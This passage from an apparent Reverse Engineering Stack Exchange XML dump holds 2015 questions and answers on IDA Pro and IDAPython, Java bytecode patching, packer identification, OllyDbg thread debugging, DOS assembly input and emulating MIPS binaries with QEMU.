&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Collabreate&lt;/li&gt;&#xA;&lt;li&gt;ida2sql&lt;/li&gt;&#xA;&lt;li&gt;IDA toolbag&lt;/li&gt;&#xA;&lt;li&gt;IDAsynergy&lt;/li&gt;&#xA;&lt;li&gt;IDAsync&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;One more update&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;Diaphora&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And was not able to find solution for my problem in any them.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2015-07-28T09:05:33.523" LastActivityDate="2015-07-28T09:05:33.523" Title="How to create HexRays variables in IDAPython correctly?" Tags="|idapython|hexrays|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8890" PostTypeId="1" AcceptedAnswerId="8924" CreationDate="2015-05-14T07:27:30.973" Score="0" ViewCount="355" Body="&lt;p&gt;I was debugging a Windows Store app, wwahost.exe does a NdrClientCall2 - &#xA;TWINAPI!PsmApp_StubDesc.&#xA;psmsrv.dll registered the endpoint by dcomlaunch svchost.exe.&#xA;What would be reasons of a NdrClientCall2 to fail ?&#xA; How do I debug further?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NdrpClientUnMarshal call fails with 3. What does this api do ?&lt;/p&gt;&#xA;" OwnerUserId="3022" LastEditorUserId="3022" LastEditDate="2015-05-15T10:31:36.223" LastActivityDate="2015-05-18T14:46:05.177" Title="NdrClientCall2 fails with STATUS_OBJECT_NAME_NOT_FOUND" Tags="|windows|debugging|windows-8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8891" PostTypeId="1" AcceptedAnswerId="8925" CreationDate="2015-05-14T07:36:31.420" Score="5" ViewCount="9991" Body="&lt;p&gt;Normally I'm working with firmwares and native code executables, patching small things like constants, jump conditions etc. There I'm using IDA's disassembly to analyse what and where to patch.&#xA;With Java bytecode I would tend to use the decompiled code from a tool like jd-gui for analysing what to patch. But for actually changing anything I would need a connection between the decompiled code and the bytecode.&#xA;Is there a tool that can show this &lt;/p&gt;&#xA;" OwnerUserId="3353" LastActivityDate="2015-05-19T16:08:11.977" Title="Workflow patching Java jar file" Tags="|disassembly|decompilation|java|patching|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8892" PostTypeId="2" ParentId="8891" CreationDate="2015-05-14T14:49:57.627" Score="3" Body="&lt;p&gt;For patching, you're usually better off changing things at the bytecode level, since decompilation and compilation are both lossy operations, whereas bytecode patching will always work, even for heavily obfuscated applications. There are a number of tools you can use for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for understanding the connection between source code and bytecode, that's just a matter of practice. I'd recommend starting by reading the JVM specification. Then compile some simple Java examples and take a look at the resulting bytecode. Luckily, Java RE is a lot easier than native code, so you have experience with that, it shouldn't be too hard to learn.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2015-05-14T14:49:57.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8895" PostTypeId="1" AcceptedAnswerId="9295" CreationDate="2015-05-15T08:58:08.953" Score="2" ViewCount="6593" Body="&lt;p&gt;I have an app that use erlang .beam compiled files without debugging information.&#xA;Someone have some tips how to decompile or reverse engineering these?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3214" LastEditorUserId="60" LastEditDate="2017-10-30T17:18:19.930" LastActivityDate="2017-10-30T17:18:19.930" Title="Decompile erlang .beam files compiled without debug_info" Tags="|patch-reversing|erlang|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8897" PostTypeId="1" AcceptedAnswerId="8901" CreationDate="2015-05-15T12:42:30.973" Score="5" ViewCount="5575" Body="&lt;p&gt;I'd like to create a IDA FLIRT signature for the following PPC uClibc library:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;libuClibc-0.9.15.so: ELF 32-bit MSB shared object, PowerPC or cisco 4500, version 1 (SYSV), dynamically linked, for GNU/Linux 2.0.0, stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got the FLAIR tools from hex-rays but didn't manage to create the .sig file.&#xA;If I understood correctly, a &lt;code&gt;.pat&lt;/code&gt; file must be created first, from which a &lt;code&gt;.sig&lt;/code&gt; file can be created then. I tried &lt;code&gt;./pelf.exe libuClibc-0.9.15.so&lt;/code&gt;, but this only returned an 'invalid input file' error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I create a FLIRT signature from this library?&lt;/p&gt;&#xA;" OwnerUserId="12521" LastActivityDate="2015-05-15T17:57:40.327" Title="How to create a IDA FLIRT signature for a PPC library?" Tags="|ida|tools|elf|static-analysis|flirt-signatures|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8898" PostTypeId="1" CreationDate="2015-05-15T14:10:42.017" Score="1" ViewCount="705" Body="&lt;p&gt;I'm have many functions that has a structure pointer as a function parameter (e.g. &quot;VecInt *&quot;). Ida knows that each function uses this type (because decompile window works fine). The same will happen if this function uses this type in a local variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I would like to see all functions that are using this particular structure (as parameter or local variable). I believe Ida maintains this information (&quot;functions where this structure is used&quot;) as internal data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is possible to extract or have access to this data?.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The structures window don't show this information as &quot;XREF: etc etc&quot;, even when I increase cross reference depth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="12524" LastActivityDate="2015-05-15T14:51:24.293" Title="Where Ida Pro is using my defined structures" Tags="|ida|disassembly|struct|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8899" PostTypeId="1" AcceptedAnswerId="8922" CreationDate="2015-05-15T14:51:07.947" Score="3" ViewCount="9795" Body="&lt;p&gt;How can I search for a sequence of instructions in IDA Pro? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did manage to search for a single instruction using text search string &lt;code&gt;li.*r4.*-1&lt;/code&gt; (for instruction &lt;code&gt;li r4, -1&lt;/code&gt;), but I failed to match multiple instructions or newline character. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to be possible to this by using the binary search, but this requires converting the assembly to the corresponding binary opcodes. &lt;/p&gt;&#xA;" OwnerUserId="12521" LastEditorUserId="12521" LastEditDate="2015-05-15T15:00:07.393" LastActivityDate="2015-05-18T02:50:10.763" Title="Searching for a sequence of instructions in IDA Pro" Tags="|ida|static-analysis|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8900" PostTypeId="2" ParentId="8898" CreationDate="2015-05-15T14:51:24.293" Score="1" Body="&lt;p&gt;Cross references to structures are only available when used directly in the disassembly view. For retrieving them when used exclusively in the pseudo-code or in the function's prototype, I'm afraid you have no other chance but walking the functions (for function in Functions()), getting the prototype (GetType(function)) and parsing it.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2015-05-15T14:51:24.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8901" PostTypeId="2" ParentId="8897" CreationDate="2015-05-15T17:57:40.327" Score="2" Body="&lt;p&gt;AFAIK, you can only create the &lt;code&gt;.pat&lt;/code&gt; files from statically linked libraries using the method you describe. It appears your file is dynamically linked (that would explain the 'invalid input file' message)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can give a try to &lt;a href=&quot;https://github.com/fireeye/flare-ida/blob/master/python/flare/idb2pat.py&quot; rel=&quot;nofollow&quot;&gt;this IDAPython plugin&lt;/a&gt;. A good explanation from its author can be found &lt;a href=&quot;https://www.fireeye.com/blog/threat-research/2015/01/flare_ida_pro_script.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2015-05-15T17:57:40.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8902" PostTypeId="1" CreationDate="2015-05-15T20:10:44.757" Score="1" ViewCount="965" Body="&lt;p&gt;I do have an executable &lt;strong&gt;packed&lt;/strong&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to detect &lt;em&gt;compression&lt;/em&gt; or &lt;em&gt;encryption&lt;/em&gt; algorithm dynamic and static ways separatly; of course without signature base way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I detect compression or encryption algorithm used for packing exe file dynamically and statically ways ? (dynamic detect ways and static detect ways without signature base ways of course separately). I do not want any tools. I want ways for paper.&lt;/p&gt;&#xA;" OwnerUserId="11927" LastEditorUserId="3041" LastEditDate="2015-07-16T10:45:17.883" LastActivityDate="2015-07-16T10:45:17.883" Title="identify packer compression or encryption algorithm" Tags="|static-analysis|dynamic-analysis|executable|encryption|packers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8905" PostTypeId="2" ParentId="8902" CreationDate="2015-05-16T07:31:24.763" Score="0" Body="&lt;p&gt;You can get a some part of compressed data, and compress it again. If ratio is high, these data was compressed/encrypted.&lt;/p&gt;&#xA;" OwnerUserId="2037" LastActivityDate="2015-05-16T07:31:24.763" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8906" PostTypeId="1" CreationDate="2015-05-16T07:50:17.393" Score="0" ViewCount="327" Body="&lt;p&gt;On my keyboard, there's a button that opens Windows 7 calculator when pressed. How would you capture what's calling/opening it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because it's a Logitech keyboard, common sense would say it's via SetPoint software/service, so I would normally start by observing those in Process Monitor. But because I'm doing this as a hands-on reversing exercise rather than merely reprogramming a keyboard button, I'd like to approach it as if I didn't have background knowledge of SetPoint or third-party keyboard software. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I could trace/capture the behind-the-scenes activity from keypress to calc.exe opening?&lt;/p&gt;&#xA;" OwnerUserId="2153" LastActivityDate="2015-05-16T17:25:58.860" Title="How can I detect what's calling an .exe when pressing a keyboard button? (and hook it)" Tags="|windows|debugging|hardware|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8908" PostTypeId="2" ParentId="8902" CreationDate="2015-05-16T12:47:53.897" Score="1" Body="&lt;p&gt;I've tried some &lt;a href=&quot;http://www.devttys0.com/2013/06/differentiate-encryption-from-compression-using-math/&quot; rel=&quot;nofollow&quot;&gt;heuristic&lt;/a&gt; &lt;a href=&quot;http://www.devttys0.com/2013/06/encryption-vs-compression-part-2/&quot; rel=&quot;nofollow&quot;&gt;methods&lt;/a&gt; of detecting specific compression/encryption streams based on data entropy; the bottom line is that they &quot;kinda&quot; worked, but in practice there was nothing conclusive. For example, it's easy to differentiate deflate compression streams from LZMA compression streams this way, but very hard to tell the difference between LZMA and AES.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way I've found for identifying raw compression streams is a brute-force approach (e.g., try decompressing it as deflate, then try LZMA, etc). It does work, but is slow, especially for LZMA streams where there are multiple compression options to test for each offset in the file/data.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2015-05-16T12:47:53.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8909" PostTypeId="1" AcceptedAnswerId="8918" CreationDate="2015-05-16T14:48:08.907" Score="2" ViewCount="1652" Body="&lt;p&gt;I was analyzing a sample and the function &lt;code&gt;CreateRemoteThread&lt;/code&gt; is called with &lt;code&gt;dwCreationFlag = 0&lt;/code&gt;, so the created thread starts immediately after creation.&#xA;OllyDbg jumps to beginning of the new thread. I analyze the new thread and at the end of that, it calls &lt;code&gt;RtlExitUserThread&lt;/code&gt; and the thread is terminated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To visualize, you can consider the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  PUSH EAX                              ; dwCreationFlag = 0&#xA;     .&#xA;     .&#xA;     .&#xA;  CALL DWORD PTR SS:[EBP-28]           ; CreateRemoteThread&#xA;     .&#xA;  (lines which I would also like to analyze)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I described, the new thread starts and it ends with a call to &lt;code&gt;RtlExitUserThread&lt;/code&gt; but I would like to analyze the lines after the call to &lt;code&gt;RtlExitUserThread&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I go back to the main thread, because there was a lot of lines to analyze (after the call to &lt;code&gt;CreateRemoteThread&lt;/code&gt;)?&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="4645" LastEditDate="2015-05-16T23:06:02.527" LastActivityDate="2015-05-17T06:31:43.973" Title="How to go back to main thread?" Tags="|ollydbg|thread|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8910" PostTypeId="1" AcceptedAnswerId="8912" CreationDate="2015-05-16T15:16:06.017" Score="2" ViewCount="10800" Body="&lt;p&gt;I'm new to reverse engineering, so maybe it's an easy question but not for me).&#xA;I've got .exe file which is somehow packed.&#xA;When I open it with IDA, I got warning that file was packed or modified, and lots of problems, such &quot;sp-analysis failed&quot; and virtual addresses pointed to nowhere. IDA Unpacker plugin swamps me with warnings.&#xA;I tried to analyse HEADER. Sections have wrong bounds: pointer to raw data and size of raw data seems correct, but some virtual addresses IDA cannot resolve, and in &quot;Program Segmentation&quot; window some sections are missed. Most of instruction in file looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;___:00401000                 dd 9D3DBCCBh, 0DB7776EAh, 1F6BE17Bh, 0ADFBB803h, 4673D4B7h&#xA;___:00401000                 dd 903ADB7Ch, 0B03DACBAh, 0CA4C9D26h, 0ECFF17BBh, 0AFC80EE6h&#xA;___:00401000                 dd 0AE3EAEA3h, 5C244E1Ch, 8F68FA9Bh, 5671677Eh, 8C3CEC8Fh&#xA;___:00401000                 dd 0F56291C8h, 3D050237h, 9543FF95h, 0DA02686Ch, 6BB1A7EBh&#xA;___:00401000                 dd 32F012EAh, 99D0F3D3h, 8A8E08A5h, 1280ECB4h, 4B4ACACEh&#xA;___:00401000                 dd 0FFB892h, 5E01507Bh, 94087230h, 969DCCDBh, 8DD0AB9Bh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what would be right approach? Should I create segments manual, and somehow say IDA to interpret it as code/data, or analyse entry point and &quot;start&quot; function that IDA found (with sp-analyse problem at the end)? Or it's better to try make IDA Unpacker plugin work?&lt;/p&gt;&#xA;" OwnerUserId="12530" LastActivityDate="2015-05-17T10:34:07.773" Title="Packed PE-file, where to start?" Tags="|ida|pe|unpacking|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8911" PostTypeId="1" CreationDate="2015-05-16T15:29:33.380" Score="0" ViewCount="969" Body="&lt;p&gt;I've written a simple code to get a student information like name and ID, but in the code when I want to get input the interrupt doesn't work I mean int 21h/ah=0Ah&#xA;It pauses when the interrupt is reached but just accepts Enter from keyboard not any number or characters, here my code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stack segment &#xA;&#xA;    dw 128 dup (?)&#xA;&#xA;stack ends&#xA;&#xA;data segment &#xA;&#xA;&#xA;    name0 db 30,?,30 dup('$')&#xA;    id0 db 10,?,10 dup('$') &#xA;&#xA;    menu db &quot;1-Enter student name:&quot;,0Dh,0Ah&#xA;    db &quot;2-Enter student ID:&quot;,0Dh,0Ah&#xA;    db &quot;3-Printing the student name and ID:&quot;,0Dh,0Ah,&#xA;    db &quot;4-Exit&quot;,0Dh,0Ah&#xA;    db &quot;Please Select :&quot;,'$'&#xA;&#xA;&#xA;&#xA;    selection db 1,?,4&#xA;&#xA;    show0 db &quot;(s)he is &quot;,'$'&#xA;    show1 db &quot; his/her ID &quot;,'$'&#xA;&#xA;   ; address1 db 2 dup(?)&#xA;   ; address2 db 2 dup(?)&#xA;&#xA;&#xA;&#xA;data ends    &#xA;&#xA;&#xA;code segment&#xA;start:&#xA;; set segment registers:&#xA;    mov ax, data&#xA;    mov ds, ax&#xA;    ;mov ax, data1&#xA;    mov es, ax&#xA;&#xA;    push bp&#xA;    mov bp,sp              &#xA;&#xA;    xor cx,cx&#xA;&#xA;loop1:&#xA;    ;cx is reserved&#xA;&#xA;    push offset menu&#xA;    call print&#xA;&#xA;    lea dx,selection   &#xA;    mov ah,0Ah&#xA;    int 21h         ; &amp;lt;----- doesn't work &#xA;&#xA;    lea bx,selection&#xA;    mov cl,[bx+2]&#xA;&#xA;    cmp cl,1&#xA;    je getname_scope&#xA;&#xA;    cmp cl,2&#xA;    je getid_scope&#xA;&#xA;    cmp cl,3&#xA;    je showinfo&#xA;&#xA;&#xA;ret0:           &#xA;&#xA;    cmp cl,4&#xA;    jne loop1&#xA;    jmp exit&#xA;&#xA;            getname_scope:&#xA;&#xA;                mov bx, offset name0&#xA;                push bx&#xA;                call Get&#xA;&#xA;            jmp ret0&#xA;&#xA;            getid_scope:&#xA;&#xA;                lea bx,id0&#xA;                push bx&#xA;                call Get    &#xA;&#xA;            jmp ret0   &#xA;&#xA;            showinfo:&#xA;&#xA;                push offset show0&#xA;                call print&#xA;&#xA;                push offset name0+2&#xA;                call print&#xA;&#xA;                push offset show1&#xA;                call print &#xA;&#xA;                push offset id0+2&#xA;                call print&#xA;&#xA;&#xA;&#xA;            jmp ret0&#xA;&#xA;exit:   &#xA;&#xA;    ; wait for any key....    &#xA;    mov ah, 1&#xA;    int 21h&#xA;&#xA;    pop bp&#xA;&#xA;    mov ax, 4c00h ; exit to operating system.&#xA;    int 21h    &#xA;&#xA;code ends&#xA;&#xA;&#xA;proc Get near&#xA;&#xA;    push bp&#xA;    mov bp,sp&#xA;&#xA;    lea dx,[bp+4]&#xA;    mov ah,0Ah&#xA;    int 21h&#xA;&#xA;&#xA;    pop bp&#xA;    ret&#xA;&#xA;Get endp&#xA;&#xA;&#xA;&#xA;proc print near&#xA;&#xA;    push bp&#xA;    mov bp,sp&#xA;&#xA;    mov dx,[bp+4]&#xA;    mov ah, 9&#xA;    int 21h&#xA;&#xA;    pop bp&#xA;  ret     &#xA;&#xA;end start ; set entry point and stop the assembler.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what's wrong with the code ? how to &lt;/p&gt;&#xA;" OwnerUserId="12532" LastActivityDate="2015-05-16T22:05:55.083" Title="Why int 21h/ ah=0Ah doesn't work in emu86" Tags="|assembly|" AnswerCount="1" CommentCount="0" ClosedDate="2015-05-19T14:21:38.540" ContentLicense="CC BY-SA 3.0" />
  <row Id="8912" PostTypeId="2" ParentId="8910" CreationDate="2015-05-16T17:21:26.413" Score="3" Body="&lt;p&gt;Use a tool like PEid to try and figure out what it's packed with, then search for a tutorial of how to unpack it. If you can't find it, there are resources online to learn out to write your own unpacker (it takes a significant amount of effort).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, unpacking works by dumping memory after the program unpacks itself, then reconstructing an executable from the dump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a resource to get you started on unpacking: &lt;a href=&quot;http://securityxploded.com/unpackingupx.php&quot; rel=&quot;nofollow&quot;&gt;http://securityxploded.com/unpackingupx.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPX doesn't have any anti-debugging tricks, so it should be a good introduction.&lt;/p&gt;&#xA;" OwnerUserId="4409" LastActivityDate="2015-05-16T17:21:26.413" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8913" PostTypeId="2" ParentId="8906" CreationDate="2015-05-16T17:25:58.860" Score="3" Body="&lt;p&gt;You could use &lt;a href=&quot;https://technet.microsoft.com/en-us/library/bb896645.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Process Monitor&lt;/a&gt; to monitor the process creation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd like more granular detail, use &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rohitab's API Monitor&lt;/a&gt; and monitor on CreateProcess* functions. &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/1980/161&quot;&gt;Here's an answer&lt;/a&gt; I gave on this site with regard to monitoring registry reading.&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-05-16T17:25:58.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8914" PostTypeId="1" CreationDate="2015-05-16T17:33:25.163" Score="1" ViewCount="1999" Body="&lt;p&gt;In IDAPython, you can obtain the corresponding opcodes for a assembly instruction using the &lt;a href=&quot;https://code.google.com/p/idapython/source/browse/trunk/python/idautils.py#651&quot; rel=&quot;nofollow&quot;&gt;Assemble(ea, line)&lt;/a&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here is an example using a PE-file / x86 processor type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt;Assemble(FirstSeg(), 'asdf')&#xA;Invalid mnemonic -&amp;gt; OK&#xA;(False, 'Assembler failed: asdf')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As we can see, the &lt;code&gt;Assemble&lt;/code&gt; call returns &lt;code&gt;False&lt;/code&gt; and prints a error message for a invalid mnemonic when using an incorrect assembly instruction like &lt;code&gt;asdf&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a valid assembly instruction, the correct opcode is returned:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt;Assemble(FirstSeg(), 'ret')&#xA;(True, '\xc3')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here is the same function using a PPC-ELF/ppc processor type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt;Assemble(FirstSeg(), 'asdf')&#xA;(True, '\x00')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As we can see, no error message is printed and a &lt;code&gt;\x00&lt;/code&gt; is returned as resulting opcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The valid &lt;code&gt;sc&lt;/code&gt; instruction and any other valid ppc instructions return the same (wrong) value of &lt;code&gt;\x00&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt;Assemble(FirstSeg(), 'sc')&#xA;(True, '\x00')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I get IDAPython's &lt;code&gt;Assemble(ea, line)&lt;/code&gt; to return the proper opcodes when using a PPC-ELF/ppc processor type? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the trace the the function takes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/idapython/source/browse/trunk/python/idautils.py#651&quot; rel=&quot;nofollow&quot;&gt;Assemble(ea, line)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/idapython/source/browse/trunk/python/idautils.py#626&quot; rel=&quot;nofollow&quot;&gt;_Assemble(ea, line)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/idapython/source/browse/trunk/swig/idp.i#68&quot; rel=&quot;nofollow&quot;&gt;idaapi.AssembleLine(ea, cs, ip, use32, line)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And a usage example of Assemble(), if it wasn't clear:&#xA;&lt;a href=&quot;https://code.google.com/p/idapython/source/browse/trunk/Scripts/FindInstructions.py&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/p/idapython/source/browse/trunk/Scripts/FindInstructions.py&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12521" LastEditorUserId="53" LastEditDate="2015-12-16T17:43:39.577" LastActivityDate="2015-12-16T17:43:39.577" Title="How to get opcodes for assembly using ppc processor (IDAPython)" Tags="|ida|assembly|idapython|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8915" PostTypeId="2" ParentId="8911" CreationDate="2015-05-16T22:05:55.083" Score="1" Body="&lt;p&gt;The problem is in your declaration of &quot;selection&quot;.  Your buffer is only one character large, which is enough space for only the Enter key.  To accept more characters, you have to increase the size of the buffer.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2015-05-16T22:05:55.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8916" PostTypeId="2" ParentId="8829" CreationDate="2015-05-17T01:12:14.137" Score="4" Body="&lt;p&gt;You can try to connect remote gdbserver using radare2 tool, with a following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r2 -a mips gdb://[address]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="38" LastEditorUserId="38" LastEditDate="2016-08-01T15:19:37.670" LastActivityDate="2016-08-01T15:19:37.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8917" PostTypeId="2" ParentId="8829" CreationDate="2015-05-17T04:17:03.910" Score="54" Body="&lt;h1&gt;Get Ready for an Adventure!&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You need a few things for your quest!  Let's start at the beginning.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;QEMU and GDB&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;QEMU is an emulator for various architectures.  Generally, it's used to emulate an entire PC (i.e. to run a virtual machine).  However, for debugging a single program this is not necessary.  On Linux, you can use QEMU User-Space emulation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo apt-get install qemu qemu-user qemu-user-static&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additionally, the GDB which is installed by default for Ubuntu and similar operating systems does not know anything about other architectures.  Luckily, there is a &lt;code&gt;gdb-multiarch&lt;/code&gt; packages which does!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo apt-get install gdb-multiarch&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, Linux generally relies on the shebang (&lt;code&gt;#!&lt;/code&gt;) at the top of shell scripts to inform it what interpreter to use.  For binary files, there is no such standard.  In order to fill this void, the &lt;code&gt;binfmt&lt;/code&gt; package can be used to look at what type a file is, and automatically invoke the correct interpreter.  In our case, it will see that you're trying to run a little-endian MIPS (&lt;code&gt;mipsel&lt;/code&gt;) binary and invoke &lt;code&gt;qemu-mipsel&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo apt-get install 'binfmt*'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Running Statically-Linked Binaries&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For a statically-linked MIPSEL binary, this is normally all that would be necessary.  However, the one you linked to relies on external libraries.  If it were statically linked, you could run it now.  You can create an example binary to demonstrate this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ echo 'int main() {puts(&quot;Hello world!&quot;);}' &amp;gt; hello.c&#xA;$ mipsel-linux-gnu-gcc -xc -static -o mipsel-test hello.c&#xA;$ file mipsel-test&#xA;a.out: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, for GNU/Linux 2.6.18, BuildID[sha1]=2556cc80429de1ab3116278ac10832d72bd7ebab, not stripped&#xA;$ ./mipsel-test&#xA;Hello world!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Libraries&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since your chosen binary is dynamically linked, you will need to install libraries like &lt;code&gt;libc.so&lt;/code&gt; and &lt;code&gt;ld.so&lt;/code&gt; for the appropriate architecture.  We also need to tell &lt;code&gt;binfmt&lt;/code&gt; where to find them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ubuntu provides cross-architecture packages for ARM and AArch64.  For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo apt-get install libc6-armhf-armel-cross&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Ubuntu (if older than Ubuntu 16.04 / Xenial)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Ubuntu 14.04 and does not provide packages for MIPS.  Luckily, Debian (which Ubuntu is based off of) does provide packages, and these packages are compatible with Ubuntu.  Un-luckily, Debian does &lt;em&gt;not&lt;/em&gt; support little-endian MIPS (mipsel).  Lucky us once again, as a different Debian derivative, Embedded Debian (emdebian) does provide those packages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add both repositories to your Ubuntu or other Debian-based distro with the command below.  &lt;em&gt;If you were only working with ARM or AArch64, you don't need to do 